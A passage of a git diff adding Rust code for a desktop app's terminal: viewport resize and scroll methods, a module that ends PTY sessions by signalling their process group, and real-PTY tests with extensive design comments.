hashes from suppressing reflowed content. + /// The generation bump is belt-and-braces on top of that: it lets the + /// consumer *verify* it received the discontinuity rather than assume it. + /// + /// Returns the viewport that is now in effect, which is not necessarily the + /// one requested: a same-size call is inert and returns the current + /// generation unchanged. Returning it here rather than making the caller + /// ask afterwards matters across a transport -- a follow-up query races the + /// next resize, so the answer could describe a grid that had already been + /// replaced by the time it was read. + pub fn resize(&mut self, size: Size) -> Viewport { + if size == self.size { + return self.viewport(); + } + self.term.resize(size); + self.feeder.resize(size); + self.size = size; + self.generation += 1; + self.viewport() + } + + /// Move the viewport through scrollback. **Positive moves *into* history.** + /// + /// That is upstream's sign (`Scroll::Delta`), kept rather than flipped: a + /// second convention in the middle of the stack is a bug waiting for the + /// one caller who reads the wrong doc comment. The DOM has the opposite + /// sense, and the embedder converts once, at the command boundary. + /// + /// Returns whether the viewport actually moved. Both ends of history clamp + /// silently upstream, and a caller that repaints on every request would + /// repaint for the whole tail of a momentum gesture after it had already + /// hit the top. Every scroll that *does* move is a full repaint, because + /// `Term::scroll_display` marks the grid fully damaged. + pub fn scroll(&mut self, lines: i32) -> bool { + self.scroll_display(alacritty_terminal::grid::Scroll::Delta(lines)) + } + + /// Return the viewport to the live edge. Returns whether it moved. + /// + /// Output alone does not do this: once scrolled back, the grid pins the + /// viewport and lets new lines accumulate above it + /// (`Grid::scroll_up`). Coming back is therefore an explicit act, and the + /// embedder ties it to user input. + pub fn scroll_to_bottom(&mut self) -> bool { + self.scroll_display(alacritty_terminal::grid::Scroll::Bottom) + } + + /// How far the viewport sits above the live edge, in lines. + pub fn display_offset(&self) -> usize { + self.term.grid().display_offset() + } + + fn scroll_display(&mut self, scroll: alacritty_terminal::grid::Scroll) -> bool { + let before = self.display_offset(); + self.term.scroll_display(scroll); + self.display_offset() != before + } + + pub fn term(&self) -> &Term { + &self.term + } + + pub fn term_mut(&mut self) -> &mut Term { + &mut self.term + } +} diff --git a/desktop/src-tauri/crates/buzz-terminal/src/lifecycle.rs b/desktop/src-tauri/crates/buzz-terminal/src/lifecycle.rs new file mode 100644 index 0000000000..dbd76f56e2 --- /dev/null +++ b/desktop/src-tauri/crates/buzz-terminal/src/lifecycle.rs @@ -0,0 +1,267 @@ +//! Child-process lifecycle for spawned PTY sessions. +//! +//! Closing a terminal tab must actually end the work the tab was doing. That +//! is harder than calling `kill`, for two reasons that both come from the +//! child being a *session leader* rather than an ordinary subprocess. +//! +//! **1. The child is not the only process.** `portable-pty` calls `setsid()` +//! in `pre_exec` (`unix.rs:257`), so the shell becomes a session and process +//! group leader; everything it runs — `vim`, a `make -j8` tree, a backgrounded +//! `sleep` — joins that group or a descendant of it. Signalling the shell's +//! pid alone reaches the shell. A shell that exits without forwarding the +//! signal leaves its children running, reparented to init, holding the pty +//! slave open. That is a leak that survives the window closing. +//! +//! So we signal the **process group** (`kill(-pgid)`), not the pid. +//! +//! **2. `portable-pty`'s own `kill` is not sufficient here.** `ChildKiller for +//! std::process::Child` (`lib.rs:340-373`) sends `SIGHUP` to the *pid*, waits +//! up to 4x50 ms, then falls back to `Child::kill` — which is `SIGKILL`, again +//! to the pid. Both halves are pid-scoped, so neither reaches a grandchild. +//! It is a correct API for "end this process"; ours is "end this session". +//! +//! ## The escalation +//! +//! `SIGTERM` to the group, a bounded wait for the leader, then `SIGKILL` to +//! the group **whether or not the leader went quietly** -- see `shutdown` for +//! why a polite leader does not imply an empty group. +//! `SIGTERM` first because a shell asked to terminate cleanly will flush its +//! history and let `vim` write its swap file; going straight to `SIGKILL` +//! guarantees no process ever gets that chance. The bounded wait is what makes +//! the escalation real — without it, `SIGKILL` either races the polite path +//! (making `SIGTERM` decorative) or never fires (making a signal-ignoring +//! child immortal). +//! +//! ## What this deliberately does not do +//! +//! A process that has called `setsid()` for *itself* has left our group, and +//! no group signal reaches it. `nohup`, a daemonising build tool, and +//! `tmux`-style servers all do this on purpose. We do not hunt the process +//! tree to find them: walking children to signal them is a race against a +//! moving tree — a pid read and then signalled may be a *different* process by +//! the time the signal lands, and killing a stranger's pid is a far worse bug +//! than leaking a daemon the user deliberately detached. Detaching from the +//! session is the documented way to survive one's terminal, and honouring it +//! is correct behaviour, not a gap. + +use std::io; +use std::time::{Duration, Instant}; + +use portable_pty::Child; + +/// How long the group gets to honour `SIGTERM` before `SIGKILL`. +/// +/// Long enough for a shell to run its exit trap and for an editor to write a +/// swap file; short enough that closing a tab never feels stuck. Tab close is +/// not synchronous with this wait in the UI, so this is a cleanup deadline, +/// not a frame budget. +pub const TERM_GRACE: Duration = Duration::from_millis(250); + +/// Poll interval while waiting for the child to exit. +/// +/// Polling rather than blocking in `wait()`: a blocking wait cannot be given a +/// deadline without a second thread, and the whole point of the grace period +/// is that it expires. +const POLL_INTERVAL: Duration = Duration::from_millis(5); + +/// How a session ended. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub enum Shutdown { + /// Already gone before we signalled. + AlreadyExited, + /// Exited within [`TERM_GRACE`] of `SIGTERM`. + Terminated, + /// Ignored or outlived `SIGTERM`; the group was killed. + Killed, +} + +/// Ends the session led by `child`: `SIGTERM` to its process group, a bounded +/// wait, then `SIGKILL` to the group if anything is still there. +/// +/// Reaps the child before returning, so the caller cannot leave a zombie by +/// dropping the handle. Returns which arm ended it, which is what a test can +/// assert on — "did it die" is satisfied by both arms and so distinguishes +/// nothing. +#[cfg(unix)] +pub fn shutdown(child: &mut Box) -> io::Result { + // Reap first. A child that already exited still has a pid slot until it is + // waited for, and that pid is reusable the moment it is released -- so + // signalling without checking is how a cleanup path eventually signals an + // unrelated process. Check before signalling, every time. + if child.try_wait()?.is_some() { + return Ok(Shutdown::AlreadyExited); + } + + let Some(pid) = child.process_id() else { + // No pid means nothing to signal; still ensure it is reaped. + child.wait()?; + return Ok(Shutdown::AlreadyExited); + }; + let pid = pid as i32; + + signal_group(pid, libc::SIGTERM); + let leader_honoured_term = leader_exited_by(pid, Instant::now() + TERM_GRACE); + + // Sweep the group unconditionally, *including* when the leader exited + // politely. The leader's exit is not the session's end: anything it + // backgrounded that ignores SIGTERM is still running, still in the group, + // and still holding the pty. Returning `Terminated` at that point reports + // success over a leak. + // + // Ordering with the reap is a safety requirement, not a preference. A + // process group id *is* the leader's pid, and the kernel may recycle that + // pid once the leader is reaped -- at which point `kill(-pid)` names some + // unrelated group. An exited-but-unreaped leader is a zombie, and a zombie + // is still a group member, so the id cannot be reused while we hold it. + // Signal first, reap second, and the window does not exist. + signal_group(pid, libc::SIGKILL); + + // SIGKILL cannot be caught, so this terminates. It is still a `wait` + // rather than an assumption: the pid must be reaped, and the exit status + // is only available to whoever reaps it. + child.wait()?; + + Ok(if leader_honoured_term { + Shutdown::Terminated + } else { + Shutdown::Killed + }) +} + +/// Sends `signal` to `pid`'s process group, falling back to the pid alone. +/// +/// The fallback matters: `kill(-pgid)` requires the child to *be* a group +/// leader, which it is only because `portable-pty` called `setsid()`. If that +/// ever stops being true, a pid-scoped signal still ends the shell — degraded +/// (grandchildren survive) rather than a silent no-op. +/// +/// Errors are deliberately not propagated. Every failure mode here means the +/// process is already gone (`ESRCH`) or was never ours to signal (`EPERM`), +/// and in both cases the following `wait` is the authority on what happened. +#[cfg(unix)] +fn signal_group(pid: i32, signal: i32) { + // SAFETY: `kill` with a negative pid targets the process group; both + // arguments are plain integers and the call has no memory effects. + let sent = unsafe { libc::kill(-pid, signal) }; + if sent != 0 { + // SAFETY: as above. + unsafe { libc::kill(pid, signal) }; + } +} + +/// Polls until the leader has exited, or `deadline` passes. Returns whether it +/// exited in time. +/// +/// Deliberately **not** `Child::try_wait`, which reaps: reaping here would +/// release the process group id before the sweep above can use it. `WNOWAIT` +/// reads the child's exit state and leaves it waitable, so the zombie stays +/// and keeps the group id reserved for us. +/// +/// `waitid`, not `waitpid`, and that is a portability requirement rather than +/// taste. POSIX only defines `WNOWAIT` for `waitid`; Linux tolerates it on +/// `waitpid`, and **Darwin returns `EINVAL`**. Measured with a C probe: on +/// macOS 25.5.0, `waitpid(pid, &st, WNOHANG | WNOWAIT)` is `-1/EINVAL` for a +/// child that has plainly exited. That failure is silent in the shape this +/// function had — an error is indistinguishable from "not exited yet", so the +/// grace period could never be honoured and *every* shutdown escalated to +/// `SIGKILL`, reporting `Killed` for a child that died politely on the first +/// `SIGTERM`. The polite arm was dead code on the platform we develop on. +/// +/// `waitid` reports a still-running child as success-with-`si_pid == 0`, so +/// the out-parameter must be zeroed before each call and the *pid*, not the +/// return code, is the answer. +#[cfg(unix)] +fn leader_exited_by(pid: i32, deadline: Instant) -> bool { + loop { + // SAFETY: `info` is a valid, fully-initialised out-pointer for the + // duration of the call. `WNOWAIT` leaves the child waitable, so the + // later `wait` still returns its status. + let exited = unsafe { + let mut info: libc::siginfo_t = std::mem::zeroed(); + let rc = libc::waitid( + libc::P_PID, + pid as libc::id_t, + &mut info, + libc::WEXITED | libc::WNOHANG | libc::WNOWAIT, + ); + rc == 0 && info.si_pid() == pid + }; + if exited { + return true; + } + if Instant::now() >= deadline { + return false; + } + std::thread::sleep(POLL_INTERVAL); + } +} + +/// Maximum concurrent terminal sessions. +/// +/// Each session costs a pty pair (two fds), a reader thread, and a scrollback +/// grid -- at the default 10k lines x 80 cols that is megabytes of resident +/// memory per tab. The cap exists because tab creation is one keystroke and +/// nothing else bounds it: without a limit, a held-down shortcut exhausts the +/// process fd table, and the first thing to fail is not the terminal but +/// whatever *else* in Buzz next asks for a file descriptor -- the relay +/// socket, a database handle. A resource a UI can allocate in a loop needs a +/// ceiling that fails in its own subsystem. +/// +/// 20 matches the abandoned `feat/terminal` branch's `MAX_LIVE_SESSIONS`, +/// kept deliberately: it is far above any plausible human tab count and far +/// below the default 256-fd soft limit, so it bounds the runaway case without +/// ever being reachable by hand. +pub const MAX_LIVE_SESSIONS: usize = 20; + +/// A reader that is still consuming the PTY master, to be stopped only after +/// the session has been torn down. +/// +/// This exists because the correct close order is not the obvious one, and +/// nothing in the type system otherwise prevents the wrong one. Mari's ruling +/// (`62509b91`) is that **the reader outlives child termination and reap**: +/// +/// 1. mark the session closing and stop publishing to the UI; +/// 2. `SIGTERM` -> grace -> `SIGKILL` -> reap, *while output is still drained*; +/// 3. only then close the master and join the reader. +/// +/// Inverting steps 2 and 3 is the bug this trait is shaped to prevent, and it +/// is not a hypothetical: a child blocked writing into a master nobody reads +/// does not die promptly even on `SIGKILL`, because the kernel completes the +/// tty teardown first. Measured with a `forkpty` probe -- **606 ms** to reap a +/// `SIGKILL`ed child against an undrained master, versus microseconds when +/// drained. Join the reader first and every tab close pays that, on the arm +/// where the user is already waiting. +pub trait DrainingReader { + /// Detach parser work and enter raw-drain mode before child termination. + fn begin_closing(&self); + + /// Wake a reader that remains blocked after the child has been reaped. + fn stop(&self); + + /// Releases the reader thread. Called only after [`DrainingReader::stop`]. + fn join(self: Box); +} + +/// Ends a session in the order the drain law requires, and returns how it +/// ended. +/// +/// The ordering is enforced by ownership rather than by documentation: this +/// function takes the reader **by value**, so a caller cannot have joined it +/// beforehand -- a joined reader has been consumed and cannot be passed here. +/// The only way to use this API is the correct order. A comment saying "do not +/// join the reader first" is advice; a moved value is a compile error. +#[cfg(unix)] +pub fn shutdown_draining( + child: &mut Box, + reader: Box, +) -> io::Result { + reader.begin_closing(); + // Terminate and reap with the reader still running, so the child never + // blocks in a tty write while we are waiting on it. + let outcome = shutdown(child); + // Unconditional: wake and release the reader whether or not shutdown + // reported an error. EOF may already have ended it; stop is idempotent. + reader.stop(); + reader.join(); + outcome +} diff --git a/desktop/src-tauri/crates/buzz-terminal/src/lifecycle_tests.rs b/desktop/src-tauri/crates/buzz-terminal/src/lifecycle_tests.rs new file mode 100644 index 0000000000..3ddeadbf92 --- /dev/null +++ b/desktop/src-tauri/crates/buzz-terminal/src/lifecycle_tests.rs @@ -0,0 +1,581 @@ +//! Lifecycle gates: the session dies, the grandchild dies with it, and the +//! login `argv[0]` the child actually receives is the one we computed. +//! +//! Every test here drives a real PTY and a real process tree. A mock child +//! would let us assert that we *called* `kill`, which is the half we already +//! know; the property under test is what the kernel does with a process group +//! we do not fully control. + +use crate::env_fence::fence_env; +use crate::lifecycle::{shutdown, shutdown_draining, DrainingReader, Shutdown, TERM_GRACE}; +use crate::path::user_shell_path; +use crate::shell::{login_argv0, resolve_shell}; +use portable_pty::{native_pty_system, Child, CommandBuilder, PtyPair, PtySize}; +use std::sync::atomic::Ordering; +use std::time::{Duration, Instant}; + +/// Upper bound on any wait in this file. +/// +/// Every wait here is bounded, and that is not caution -- it is the lesson +/// from a probe of an interactive child that read to EOF and hung for 300 s. +/// A PTY master does not reach EOF while any process holds the slave open, so +/// "read until the child is done" is not a terminating program. Bound the +/// read, or poll for the observable effect. +const BOUND: Duration = Duration::from_secs(10); + +/// Self-destruct deadline, in seconds, for fixture processes built to ignore +/// signals. +/// +/// Comfortably longer than [`BOUND`], so it can never end a process while the +/// test is still observing it -- a watchdog that fires inside the observation +/// window would make a *failing* implementation look correct. Short enough +/// that a crashed run does not leave a core spinning until reboot. +const WATCHDOG: u64 = 60; + +fn open_pty() -> PtyPair { + native_pty_system() + .openpty(PtySize { + rows: 24, + cols: 80, + pixel_width: 0, + pixel_height: 0, + }) + .expect("openpty") +} + +/// Drains the PTY master in the background for as long as it stays open. +/// +/// Not hygiene -- a correctness requirement, and the cause of a 300 s hang in +/// the first version of this file. A PTY has a small kernel buffer, and a +/// child writing into a master nobody reads blocks in `write()` once it fills. +/// A process blocked in an uninterruptible tty write does not die promptly on +/// `SIGKILL`: the signal is delivered, but the kernel finishes tearing down +/// the tty session first, so `wait()` sits there while the reap completes. +/// Measured directly with a `forkpty` C probe: with the master undrained, a +/// `SIGKILL`ed child took **606 ms** to be reaped. Every terminal in the +/// product drains its master continuously -- that is what a renderer *is* -- +/// so a test that doesn't is modelling a configuration that never ships. +/// +/// The consequence is worth stating for the embedder: **shutdown must not be +/// called after the reader has stopped.** Tear the session down while output +/// is still being consumed, or the grace period is spent waiting on a +/// self-inflicted stall. +fn drain(pair: &PtyPair) { + let mut reader = pair.master.try_clone_reader().expect("reader"); + std::thread::spawn(move || { + use std::io::Read; + let mut buf = [0u8; 4096]; + while matches!(reader.read(&mut buf), Ok(n) if n > 0) {} + }); +} + +/// Spawns `script` under `/bin/sh` on a real PTY, fully fenced. +fn spawn_script(pair: &PtyPair, script: &str) -> Box { + let shell = resolve_shell(std::env::var("SHELL").ok().as_deref()); + let mut cmd = CommandBuilder::new("/bin/sh"); + fence_env(&mut cmd, &user_shell_path(), &shell); + cmd.arg("-c"); + cmd.arg(script); + let child = pair.slave.spawn_command(cmd).expect("spawn"); + drain(pair); + child +} + +/// True while `pid` exists. `kill(pid, 0)` performs the permission and +/// existence checks without delivering a signal. +fn pid_alive(pid: i32) -> bool { + // SAFETY: signal 0 delivers nothing; both arguments are integers. + unsafe { libc::kill(pid, 0) == 0 } +} + +/// Polls `f` until it returns true or `BOUND` elapses; returns whether it did. +/// +/// Polling for the observable state rather than sleeping a fixed duration: a +/// sleep long enough to be reliable is slow, and a sleep short enough to be +/// fast is a race that fails on a loaded machine. Both are worse than asking. +fn poll_until(mut f: impl FnMut() -> bool) -> bool { + let deadline = Instant::now() + BOUND; + while Instant::now() < deadline { + if f() { + return true; + } + std::thread::sleep(Duration::from_millis(5)); + } + false +} + +/// Reads a file until it is non-empty or `BOUND` elapses. +fn read_when_written(path: &std::path::Path) -> Option { + let mut found = None; + poll_until(|| match std::fs::read_to_string(path) { + Ok(text) if !text.trim().is_empty() => { + found = Some(text.trim().to_owned()); + true + } + _ => false, + }); + found +} + +/// A cooperative child exits on `SIGTERM`, so the polite arm is what ends it. +/// +/// The distinction matters: `Killed` and `Terminated` both leave a dead +/// process, so asserting death alone would pass with `SIGTERM` deleted +/// entirely and the grace period reduced to a delay before `SIGKILL`. +#[test] +fn cooperative_child_exits_on_term_not_kill() { + let pair = open_pty(); + let mut child = spawn_script(&pair, "sleep 30"); + let pid = child.process_id().expect("pid") as i32; + + let outcome = shutdown(&mut child).expect("shutdown"); + assert_eq!( + outcome, + Shutdown::Terminated, + "a child that dies on SIGTERM must not have needed SIGKILL" + ); + assert!(poll_until(|| !pid_alive(pid)), "child survived shutdown"); +} + +/// A child that ignores `SIGTERM` must still die, and the escalation must be +/// what kills it. +/// +/// The fixture shape is load-bearing and my first one was vacuous. I wrote +/// `trap '' TERM; sleep 30`, which *looks* like a signal-ignoring child and +/// reported `Terminated` -- the polite arm, on a child built to defeat it. +/// The reason is that `sh` does not ignore a signal on its child's behalf: the +/// group `SIGTERM` reaches `sleep`, which has no trap and dies, and the shell +/// was blocked in `wait` on exactly that `sleep`, so it reaps it and exits +/// normally. The trap was real, the ignoring was real, and the process still +/// died on `SIGTERM` -- through a path the test wasn't looking at. +/// +/// Had I not checked *which* arm fired, this would have passed for the wrong +/// reason and gone on "proving" an escalation it never exercised. The loop +/// keeps the shell itself alive: no blocking `wait` to be interrupted, so the +/// trap actually governs the shell's own fate and only `SIGKILL` can end it. +/// +/// The readiness handshake closes a second, subtler version of the same +/// mistake. My loop fixture *still* reported `Terminated`, because `trap` is a +/// command the shell has to reach: a signal delivered in the interval between +/// `exec` and that line finds the default disposition and kills the shell +/// outright. Isolated with a `forkpty` probe -- identical binary, only the +/// delay before signalling changed: at 500 ms all four arms survived, at 2 ms +/// all four died with signal 15. A fixture that is only *probably* armed makes +/// this test a race whose failure mode is a false pass. +/// +/// This is the arm that fails if the escalation is deleted -- and the +/// `WATCHDOG` is what makes that a *failure* rather than a hang. With +/// `SIGKILL` deleted, nothing we send can end a child that ignores `SIGTERM`, +/// so `shutdown`'s final `wait` blocks forever and the mutant is detected only +/// by the harness timing out. A test that detects a bug by never finishing is +/// indistinguishable from a broken test. The deadline converts it into a +/// bounded, reportable failure. +#[test] +fn signal_ignoring_child_is_killed_after_the_grace_period() { + let dir = tempdir("buzz-terminal-trap"); + let ready = dir.join("armed"); + + let pair = open_pty(); + // The readiness file is written *after* the trap is installed, so waiting + // on it converts "probably armed by now" into an observed fact. + let mut child = spawn_script( + &pair, + &format!( + "trap '' TERM; (sleep {WATCHDOG}; kill -9 $$) & : > {}; \ + while :; do sleep 0.1; done", + ready.display() + ), + ); + let pid = child.process_id().expect("pid") as i32; + assert!( + poll_until(|| ready.exists()), + "child never armed its SIGTERM trap; signalling now would test a \ + startup race rather than the escalation" + ); + + let started = Instant::now(); + let outcome = shutdown(&mut child).expect("shutdown"); + let elapsed = started.elapsed(); + + assert_eq!( + outcome, + Shutdown::Killed, + "a SIGTERM-ignoring child must be escalated to SIGKILL" + ); + assert!(poll_until(|| !pid_alive(pid)), "child survived SIGKILL"); + assert!( + elapsed >= TERM_GRACE, + "shutdown returned in {elapsed:?}, before the {TERM_GRACE:?} grace \ + period could have elapsed -- SIGTERM was never given its chance" + ); + assert!( + elapsed < BOUND, + "shutdown took {elapsed:?}; the grace period is not bounded" + ); +} + +/// The property the whole module exists for: a **grandchild** must not outlive +/// the session. +/// +/// The fixture is deliberately hostile, and the obvious version of this test +/// proves nothing. I first wrote `sleep 30 & echo $!; wait` and mutation L2 -- +/// replacing `kill(-pid)` with `kill(pid)` -- **survived it**. The reason is +/// that killing a PTY session leader makes the kernel hang up the terminal and +/// `SIGHUP` the whole foreground group, so the grandchild dies either way. +/// Isolated with a `forkpty` probe: with the master held open (no fd-closure +/// hangup) and only `SIGKILL` to the shell's pid, the grandchild was gone +/// within 200 ms while the shell itself was still unreaped. The tty hangup was +/// doing the work my group signal was being credited for. +/// +/// Two properties are therefore required of the grandchild, and each closes +/// one leak in the fixture: +/// +/// - it **ignores `SIGHUP`**, so the tty hangup cannot end it for us; and +/// - it **busy-loops rather than sleeping**, so it is not blocked in a call +/// that the session teardown would interrupt anyway. +/// +/// With both, the probe separates cleanly: pid-only leaves the grandchild +/// alive, `kill(-pgid)` does not. That is the only shape in which this test +/// can fail for the reason it claims to test. +/// +/// The `WATCHDOG` is the price of that hostility. A grandchild built to +/// survive every signal we send also survives the harness: when this test +/// legitimately fails -- as it does under mutation L1 and L2 -- it leaves a +/// process spinning a core at PPID 1, and a panicking or killed test binary +/// cannot clean up after itself. So the child carries its own deadline. +/// `SIGKILL` because that is the one signal the fixture does not trap. +#[test] +fn grandchild_does_not_outlive_the_session() { + let dir = tempdir("buzz-terminal-orphan"); + let pidfile = dir.join("grandchild.pid"); + let armed = dir.join("armed"); + + let pair = open_pty(); + let mut child = spawn_script( + &pair, + &format!( + "sh -c 'trap \"\" HUP TERM; (sleep {WATCHDOG}; kill -9 $$) & \ + : > {armed}; while :; do :; done' & \ + echo $! > {pidfile}; wait", + armed = armed.display(), + pidfile = pidfile.display() + ), + ); + let shell_pid = child.process_id().expect("pid") as i32; + + let grandchild: i32 = read_when_written(&pidfile) + .expect("grandchild never reported its pid") + .parse() + .expect("pid is a number"); + assert!( + poll_until(|| armed.exists()), + "grandchild never armed its SIGHUP trap; the tty hangup would kill it \ + regardless of how we signal, and this test could not observe the \ + difference" + ); + assert!( + pid_alive(grandchild), + "test setup: the grandchild must be running before we shut down" + ); + assert_ne!( + grandchild, shell_pid, + "test setup: the grandchild must be a distinct process, or this \ + cannot tell a group signal from a pid signal" + ); + + shutdown(&mut child).expect("shutdown"); + + assert!( + poll_until(|| !pid_alive(shell_pid)), + "the session leader survived shutdown" + ); + assert!( + poll_until(|| !pid_alive(grandchild)), + "an orphaned grandchild ({grandchild}) outlived the session -- the \ + signal reached the shell's pid but not its process group" + ); +} + +/// Shutting down an already-dead child is safe and reaps it. +/// +/// Without the leading `try_wait`, this path signals a pid that the kernel may +/// already have released and reassigned. +#[test] +fn shutdown_of_an_exited_child_is_a_reap_not_a_signal() { + let pair = open_pty(); + let mut child = spawn_script(&pair, "exit 0"); + assert!( + poll_until(|| child.try_wait().ok().flatten().is_some()), + "child did not exit" + ); + assert_eq!( + shutdown(&mut child).expect("shutdown"), + Shutdown::AlreadyExited + ); +} + +/// The login `argv[0]` the child **actually receives**, not the string we +/// computed. +/// +/// This closes the gap flagged in `e8b567aa`: `login_argv0` and +/// `portable-pty`'s `as_command` (`cmdbuilder.rs:510-517`) were each verified +/// by reading, and agreement-by-reading is not observation. +/// +/// Two things make the probe terminate where a naive one hangs. The child +/// writes `$0` to a **file** rather than the PTY -- so there is no terminal +/// echo to strip, no ANSI to parse, and no dependency on the interactive +/// shell ever reaching EOF. And the read is polled to a deadline. Credit to +/// Quinn (`fcfd69b0`), whose three failed PTY-parsing harnesses established +/// that the harness was the bug. +/// +/// The explicit-prog row is the control that isolates login `argv[0]` as the +/// only variable: same shell, same PTY, same fence, no `-` prefix. +#[test] +fn default_prog_child_observes_the_login_argv0() { + let dir = tempdir("buzz-terminal-argv0"); + let shell = "/bin/sh"; + + let default_prog = observe_argv0(&dir.join("default"), shell, true); + assert_eq!( + default_prog, + login_argv0(shell), + "the child's $0 is not the login argv0 we computed" + ); + assert!( + default_prog.starts_with('-'), + "a default-prog child must be a login shell: {default_prog:?}" + ); + + let explicit = observe_argv0(&dir.join("explicit"), shell, false); + assert_eq!( + explicit, shell, + "control: an explicitly-invoked shell must not be given a login argv0" + ); + assert_ne!( + default_prog, explicit, + "control and subject agree, so this test cannot observe the login \ + prefix at all" + ); +} + +/// Spawns a `/bin/sh` that writes its own `$0` to `pidfile`, either as a +/// default program (login argv0 applied by portable-pty) or explicitly. +/// +/// The default-prog child is an *interactive* shell with no `-c`, so it is +/// driven by writing to the PTY master -- the only way to give a login shell +/// a command is to type one. +fn observe_argv0(outfile: &std::path::Path, shell: &str, default_prog: bool) -> String { + let pair = open_pty(); + let resolved = resolve_shell(Some(shell)); + let mut cmd = if default_prog { + CommandBuilder::new_default_prog() + } else { + CommandBuilder::new(shell) + }; + fence_env(&mut cmd, &user_shell_path(), &resolved); + if !default_prog { + cmd.arg("-c"); + cmd.arg(format!("printf '%s' \"$0\" > {}", outfile.display())); + } + + let mut child = pair.slave.spawn_command(cmd).expect("spawn"); + drain(&pair); + drop(pair.slave); + + if default_prog { + use std::io::Write; + let mut writer = pair.master.take_writer().expect("writer"); + writeln!(writer, "printf '%s' \"$0\" > {}", outfile.display()).expect("write"); + writer.flush().expect("flush"); + // Dropping the writer closes the master's write side, which the shell + // reads as end-of-input and exits on -- no `exit` command needed, and + // nothing depends on the shell's rc files having run. + drop(writer); + } + + let observed = read_when_written(outfile); + let _ = crate::lifecycle::shutdown(&mut child); + observed.unwrap_or_else(|| panic!("child never reported $0 within {BOUND:?}")) +} + +/// A fresh directory for a test's artifacts, replacing any prior run's. +fn tempdir(name: &str) -> std::path::PathBuf { + let dir = std::env::temp_dir().join(name); + let _ = std::fs::remove_dir_all(&dir); + std::fs::create_dir_all(&dir).expect("create temp dir"); + dir +} + +/// Mari's noisy-child discriminator: the reader must still be draining +/// **while** the child is being terminated and reaped. +/// +/// The portable contract is structural: `stop` must not be requested until +/// the child has been reaped. The recording reader checks the child PID at the +/// `stop` call, while the continuously noisy PTY makes the test exercise a +/// reader that is genuinely active rather than a quiet no-op. +/// +/// The child is deliberately noisy: it floods the PTY continuously, so a +/// master that stops being read fills its kernel buffer within milliseconds +/// and the child blocks in `write()`. That is the state the drain law exists +/// to avoid, and a quiet child cannot produce it -- with nothing being +/// written, both orders look identical and the test proves nothing. +#[test] +fn reader_drains_through_termination_and_reap() { + let pair = open_pty(); + + // Flood, and keep flooding: `yes` writes until the pipe is closed or the + // process dies, so there is always more output pending than the buffer + // holds. + let mut child = spawn_noisy(&pair); + let pid = child.process_id().expect("pid") as i32; + + let order = std::sync::Arc::new(std::sync::Mutex::new(Vec::new())); + let stop_at: StopClock = std::sync::Arc::new(std::sync::Mutex::new(None)); + let reader = RecordingReader::spawn(&pair, pid, order.clone(), stop_at.clone()); + // Release the slave, exactly as the runtime does after spawning + // (`terminal_runtime.rs:441`). Not hygiene: a PTY master does not reach + // EOF while *any* process holds the slave open, and this test is one -- + // so with the slave retained the reader parks in `read()` forever after + // the child is reaped, and every wait on it burns its whole bound. Linux + // honours that rule strictly; Darwin ends the read when the session + // leader exits, so the retained slave was invisible on the platform this + // was written on and failed only in CI. + drop(pair.slave); + + // Establish that this is a live draining reader, not a quiet fixture. + assert!( + poll_until(|| reader.total_bytes() > 4096), + "test setup: the child is not producing enough output to fill the pty \ + buffer, so this cannot distinguish drain order" + ); + + let started = Instant::now(); + let outcome = shutdown_draining(&mut child, Box::new(reader)).expect("shutdown"); + // `stop` runs the instant `shutdown` returns, so this is the child's half + // of the window and nothing else. Timing the whole call would fold reader + // teardown into an assertion whose message is about child termination -- + // which is exactly how a stalled reader once read as a wedged child. + let elapsed = stop_at + .lock() + .unwrap() + .expect("stop was never called") + .duration_since(started); + + assert_eq!( + outcome, + Shutdown::Terminated, + "a `yes` pipeline dies on SIGTERM; SIGKILL here means it was wedged in \ + a tty write against an undrained master" + ); + assert!( + elapsed < TERM_GRACE, + "shutdown took {elapsed:?}, at or beyond the {TERM_GRACE:?} grace \ + period: the child was blocked writing to an undrained master rather \ + than exiting on SIGTERM" + ); + assert_eq!( + *order.lock().unwrap(), + ["begin_closing", "stop", "join"], + "reader close must begin before termination and stop/join only after reap" + ); +} + +/// Spawns a child that floods the PTY without pause. +fn spawn_noisy(pair: &PtyPair) -> Box { + let shell = resolve_shell(std::env::var("SHELL").ok().as_deref()); + let mut cmd = CommandBuilder::new("/bin/sh"); + fence_env(&mut cmd, &user_shell_path(), &shell); + cmd.arg("-c"); + cmd.arg("while :; do echo aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa; done"); + // Deliberately no `drain` here: this test owns the reader. + pair.slave.spawn_command(cmd).expect("spawn") +} + +/// A [`DrainingReader`] that records how much it read after close began. +struct RecordingReader { + pid: i32, + total: std::sync::Arc, + handle: std::thread::JoinHandle<()>, + order: std::sync::Arc>>, + /// When `stop` was called -- i.e. the instant `shutdown` returned. + stop_at: StopClock, +} + +/// Shared slot for the instant the reader was asked to stop. +type StopClock = std::sync::Arc>>; + +impl RecordingReader { + fn spawn( + pair: &PtyPair, + pid: i32, + order: std::sync::Arc>>, + stop_at: StopClock, + ) -> Self { + let mut reader = pair.master.try_clone_reader().expect("reader"); + let total = std::sync::Arc::new(std::sync::atomic::AtomicU64::new(0)); + let counter = total.clone(); + let handle = std::thread::spawn(move || { + use std::io::Read; + let mut buf = [0u8; 4096]; + while let Ok(n) = reader.read(&mut buf) { + if n == 0 { + break; + } + counter.fetch_add(n as u64, Ordering::Relaxed); + } + }); + Self { + pid, + total, + handle, + order, + stop_at, + } + } + + fn total_bytes(&self) -> u64 { + self.total.load(Ordering::Relaxed) + } +} + +impl DrainingReader for RecordingReader { + fn begin_closing(&self) { + self.order.lock().unwrap().push("begin_closing"); + } + + fn stop(&self) { + *self.stop_at.lock().unwrap() = Some(Instant::now()); + assert!( + !pid_alive(self.pid), + "reader stop must not be requested before the child is reaped" + ); + self.order.lock().unwrap().push("stop"); + } + + fn join(self: Box) { + self.order.lock().unwrap().push("join"); + // Bounded, and that is the whole point. The read loop ends when the + // master reports EOF, which only happens once the reaped child has + // released the slave -- so joining *before* termination blocks + // forever. That is precisely the forbidden ordering (mutation L4), + // and an unbounded join would "detect" it by hanging, which is + // indistinguishable from a broken test. Waiting to a deadline and + // abandoning the thread converts the hang into an assertion failure + // the harness can report. + // + // The deadline must *assert*, not return. A silent abandon is + // indistinguishable from a clean join, and that is not hypothetical: + // it is how a 10 s stall in this fixture masqueraded as a + // child-termination failure in the caller's timing assertion. The + // caller's clock covers `shutdown()` only, so this is the sole gate + // on reader teardown -- with a wedged reader, `shutdown()` still + // returns in ~58 ms and every other assertion here passes. + assert!( + poll_until(|| self.handle.is_finished()), + "reader thread never finished within 